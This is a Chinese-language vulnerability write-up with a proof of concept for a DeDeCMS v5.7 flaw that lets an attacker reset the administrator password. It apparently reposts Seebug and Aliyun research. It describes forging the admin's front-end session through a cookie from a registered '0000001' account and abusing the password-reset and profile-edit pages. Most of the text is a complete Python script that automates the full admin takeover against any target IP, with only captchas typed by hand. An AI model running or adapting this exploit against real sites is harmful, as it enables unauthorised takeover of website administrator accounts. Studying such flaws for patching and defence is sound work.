DeDeCMS v5.7 密碼修改漏洞(附PoC)
原文:https://paper.seebug.org/507/
參考:
https://xz.aliyun.com/t/1959
https://xz.aliyun.com/t/1961
安裝
注意安裝之後,註冊會員預設是需要後臺admin稽核的,這裡需要admin在後臺修改一下配置:
然而在系統設定》系統基本引數的地方無法顯示,找error.log發現是:
就是呼叫了is_php()
這個函式,而該函式並沒有定義,
搜尋發現只有一個地方呼叫了include/common.func.php
,直接刪掉這裡的呼叫即可。
由於admin無法前臺登入,所以需要先拿到admin的前臺許可權。
先拿到admin的前臺許可權
1.註冊0000001
使用者名稱的賬號
稽核通過(或者設定為不需稽核)
2. 訪問/member/index.php?uid=0000001
。
注意只有訪問了/member/index.php?uid=0000001
才會生成相應的所需的cookie
從圖中可以看出已經set-cookie了。
3.獲取cookie中last_vid_ckMd5
值,設定DeDeUserID_ckMd5
為剛才獲取的值,並設定DedeUserID
為0000001。然後訪問/member/
。
4.向 /member/resetpassword.php
傳送POST請求:
dopost=safequestion&safequestion=0.0&safeanswer=&id=1
訪問從burp中拿到的連結,重置admin前臺密碼:
http://192.168.170.139/member/resetpassword.php?dopost=getpasswd&id=1&key=KjK01TPb
直接訪問該連結,即可重置admin前臺為任意密碼。
重置admin前臺密碼之後,注意不要退出,繼續留著cookie,繼續進行修改admin後臺密碼。
修改admin後密碼
訪問:系統設定-> 個人資料 -> 基本資料
即
http://192.168.170.139/member/edit_baseinfo.php
然後使用新的修改後的密碼即可成功登入admin後臺:
自動指令碼必須在以下情況下才能成功:
1.是否開啟會員功能: 設定為是
2.註冊是否需要完成詳細資料的填寫 設定為否;
3.會員使用許可權開通狀態 設定為0(-10 郵件驗證 -1 手工稽核, 0 沒限制):
指令碼:
# coding=utf-8
#基於:https://xz.aliyun.com/t/1961
#參考:https://paper.seebug.org/507/
#正則參考:https://www.cnblogs.com/chuxiuhong/p/5907484.html
# 兩步的驗證碼1.jpg, 2.jpg需手動輸入
import requests
import re
import sys
import signal
if __name__ == "__main__":
if len(sys.argv) <=1:
exit("[!] 請輸入正確的IP格式")
ip = sys.argv[1]
dede_host = "http://{ip}/".format(ip=ip)
oldpwd = '123456'
newpwd = "cnvdcnvd"
s = requests.Session()
proxies = {
'http': 'http://127.0.0.1:8080',
'https': 'https://127.0.0.1:8080',
}
rs = requests.get(dede_host + 'member/reg_new.php')
if '系統關閉了會員功能' in rs.content:
exit('The system has closed the member function .Can not attack !!!')
headers = {"Referer": dede_host + "member/reg_new.php"}
# 第一步:獲取註冊頁面的驗證碼
rs = s.get(dede_host + 'include/vdimgck.php').content #這個php是用來生成驗證碼的
file = open('1.jpg', "wb")
file.write(rs)
file.close()
vdcode = raw_input("Please enter the registration verification code : ")
userid = '0000001'
uname = '0000001'
userpwd = '123456'
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0)",
"Content-Type": "application/x-www-form-urlencoded"}
data = "dopost=regbase&step=1&mtype=%E4%B8%AA%E4%BA%BA&mtype=%E4%B8%AA%E4%BA%BA&userid={userid}&uname={uname}&userpwd={userpwd}&userpwdok={userpwd}&email=0000001%400000001.com&safequestion=0&safeanswer=&sex=%E7%94%B7&vdcode={vdcode}&agree=".format(
userid=userid, uname=uname, userpwd=userpwd, vdcode=vdcode)
# 第二步:提交註冊頁面,註冊0000001的使用者
rs = s.post(dede_host + '/member/reg_new.php', data=data, headers=headers)
if "驗證碼錯誤" in rs.content:
exit("[!] Verification code error, account registration failed")
elif '註冊成功' in rs.content:
print '[*] registration success !!'
# 第三步:訪問/member/index.php?uid=0000001 得到所需的cookie: last_vid__ckMd5
rs = s.get(dede_host + "/member/index.php?uid={userid}".format(userid=userid))
if "資料尚未通過稽核" in rs.content:
exit("[!] User information has not been approved !!!") # 會員使用許可權開通狀態(-10 郵件驗證 -1 手工稽核, 0 沒限制):
searchObj = re.search(r'last_vid__ckMd5=(.*?);', rs.headers['Set-Cookie'], re.M | re.I)
last_vid__ckMd5 = searchObj.group(1)
s.cookies['DedeUserID'] = userid
s.cookies['DedeUserID__ckMd5'] = last_vid__ckMd5
# 第四步:驗證admin前臺登入成功
rs = s.get(dede_host + "/member/index.php")
if "class=\"userName\">admin</a>" in rs.text:
print "[*] Administrator login successful !!"
# 第五步:得到可修改admin前臺登陸密碼的url
data = {"dopost": "safequestion", "safequestion": "0.0", "safeanswer": "", "id": "1"}
rs = s.post(dede_host + 'member/resetpassword.php', data=data)
if "請10分鐘後再重新申請" in rs.content:
print "[!] 對不起,請10分鐘後再重新申請"
exit()
key = re.search(r"(?<=key=)[a-zA-Z0-9]{8}(?=')", rs.content, re.M).group()
rs = s.get(dede_host + 'member/resetpassword.php?dopost=getpasswd&id=1&key={key}'.format(key=key))
if "找回密碼第二步" in rs.content:
data = {"dopost":"getpasswd", "setp": "2", "id": "1", "userid": "admin", "key": key, "pwd": oldpwd, "pwdok": oldpwd}
s.post(dede_host + 'member/resetpassword.php', data=data)
# 第六步:拿到帶有key的連結修改admin前臺登入密碼
if "更改密碼成功" in rs.content:
print "[*] Password changed succuessfully!"
# 第七步:修改admin後臺登入密碼
headers = {"Referer": dede_host + "member/edit_baseinfo.php"}
rs = s.get(dede_host + 'include/vdimgck.php').content
file = open('2.jpg', "wb")
file.write(rs)
file.close()
vdcode = raw_input("Please enter the verification code : ")
data = {"dopost": "save", "uname": "admin", "oldpwd": oldpwd, "userpwd": newpwd, "userpwdok": newpwd,
"safequestion": "0", "newsafequestion": "0", "sex": "男", "email": "[email protected]", "vdcode": vdcode}
rs = s.post(dede_host + '/member/edit_baseinfo.php', data=data, proxies=proxies)
if "成功更新你的基本資料" in rs.content:
print "[*] Administrator password modified successfully !!"
print "[*] The new administrator password is : " + newpwd
else:
print "[!] attack fail"